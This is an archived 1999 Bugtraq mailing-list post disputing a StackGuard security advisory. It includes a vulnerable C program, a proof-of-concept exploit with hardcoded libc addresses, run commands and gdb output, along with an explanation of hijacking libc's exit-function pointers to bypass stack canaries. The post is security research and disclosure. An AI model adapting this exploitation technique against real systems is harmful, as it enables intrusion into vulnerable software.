Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21

From: Gerardo Richarte (core.lists.bugtraq@CORE-SDI.COM)
Date: Thu Nov 11 1999 - 09:49:32 PST

  • Next message: Bill Nottingham: "[RHSA-1999:054-01] Security problems in bind"

    Crispin Cowan wrote:
    >
    > >
    > I assume you mean "StackGuard".  I've never heard of StackWard, and
    > neither has Altavista.  If someone needs a catch project name, "stackward"
    > seems to be available :-)
    >
    > You appear to be describing a buffer overflow that attacks a pointer, and
    > not the activation record.  StackGuard only claims to protect the
    > activation record, so while this is a legitimate vulnerability that
    > StackGuard does not prevent, it is not actually a bug in StackGuard.
    >
    
    	Sorry for my bad english, I think that this is the problem why you
    misunderstood what I'm trying to say... I'll try to explain it again.
    Quoting from you previuos post:
    
    
    > 1. Topic:
    >
    > A method has been found to violate StackGuard protection against stack
    > smashing attacks.  ImmuniX OS is generally intended to aleviate the
    > need for frequent patching; this is the first StackGuard vulnerability
    > to be discovered since StackGuard was introduced in January 1998.
    >
    > StackGuard 1.21 fixes this problem, available at
    > http://immunix.org/downloads.html#sg1.21
    >
    > 3. Solution:  The XOR Random Canary
    
    	What I'm trying to say is that the new XOR Random Canary, is not a
    solution to the problem, you just need a different aproach to the buffer
    overflow, and as it's not secret (I already described it in a previous
    post, and not knowing it doesn't mean that anybody else doesn't know
    it), I'll describe it again a little clearer (I hope).
    
    > 2. Problem description:
    >
    > Consider this vulnerable code:
    >
    > foo(char * arg) {
    >    char *    p = arg;    // a vulnerable pointer
    >    char a[25];    // the buffer that makes the pointer vulnerable
    >
    >    gets(a);    // using gets() makes you vulnerable
    >    gets(p);    // this is the good part
    >}
    
    	For my example I'll use a slightly modified version of your vulnerable
    code example (bug.c):
    
    #include <stdio.h>
    
    void main() {
        char *arg;
        char *p = arg;    // a vulnerable pointer
        char a[28];    // the buffer that makes the pointer vulnerable
    (changed 25 for 28 for padding)
        gets(a);    // using gets() makes you vulnerable
        gets(p);    // this is the good part
    }
    
    	And here is my exploit (bugexp.c):
    
    #include <stdio.h>
    
    void main() {
        int i=0;
    
        long address=0x4010022c;    // Called from exit()
        for (;i<28;i++) printf("a");
        printf("%c%c%c%c\n",address & 0xff, (address >> 8)&0xff,(address >>
    16)&0xff, (address >> 24)&0xff);
    
        address=0x40100230; // Where my code will be in memory (1 long after
    the address)
        printf("%c%c%c%c",address & 0xff, (address >> 8)&0xff,(address >>
    16)&0xff, (address >> 24)&0xff);
        for (i=0;i<300;i++) printf("\xc4");	// This is the best part, opcode
    0xc4 is an invalid opcode
        printf("\n");
    }
    
    	Now I'll explain how to use it:
    
    	make bug
    	make bug
    	bugexp >eploit
    	bug <exploit
    	Illegal instruction (core dumped)		// Note the illegal instruction
    
    	now:
    
    	gdb bug
    	core core
    	x/20x $eip
    	0x4010023d <fnlist+29>:	0xc4c4c4c4	0xc4c4c4c4	0xc4c4c4c4	0xc4c4c4c4
    	
    	So I can execute whatever I want, and I have at least 392 bytes to do
    it.
    
    	and what it does:
    
    	with the first gets(a) it overwrites just p, so it points to 0x4010022c
    that is the address in memory of libc's __exit_funcs[0].func.at (look
    forward for exit()'s source code), a pointer to a function that will be
    called by libc's exit().
    	Then on gets(p) I overwrite this pointer with a pointer to my code and
    place my code after this pointer.
    
    	Now the only thing I have to do is wait exit() to call me. Look at exit
    (this is from debian, but obviously it's close enogh to RedHat's, and to
    OBSD too):
    
    void
    DEFUN(exit, (status), int status)
    
      for (; __exit_funcs; __exit_funcs = __exit_funcs->next)
        {
          while ((__exit_funcs->idx)-- > 0)
        {
          CONST struct exit_function *CONST f
            = &__exit_funcs->fns[__exit_funcs->idx];
          switch (f->flavor)
            {
            case ef_free:
              break;
            case ef_on:
              (*f->func.on.fn)(status, f->func.on.arg);
              break;
            case ef_at:
              (*f->func.at)();
              break;
            }
        }
        }
    
        [...]
    
    	I hope you understand me now.
    
    	I don't dere to claim that this is a new method, but this method of
    exploiting a buffer overflow has some good features:
    
    	The host program doesn't crash until it exits (and you can code things
    so it doesn't crash at all)
    	You can use the overflow several times to add more than one
    __exit_function to the same server, the only thing you need is space
    where to place your code.
    
    	I haven't tested this with StackGuard (!), but it should work, I
    started downloading it, but never finished. Would you try it for me?
    
    	richie
    
    PS: You can also try overwriting things like signal handlers, objects
    destructors (look at: __do_global_dtors_aux) etc.
    
    --
    A390 1BBA 2C58 D679 5A71 - 86F9 404F 4B53 3944 C2D0
    Investigacion y Desarrollo - CoreLabs - Core SDI
    http://www.core-sdi.com
    
    --- For a personal reply use gera@core-sdi.com
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:11:23 PDT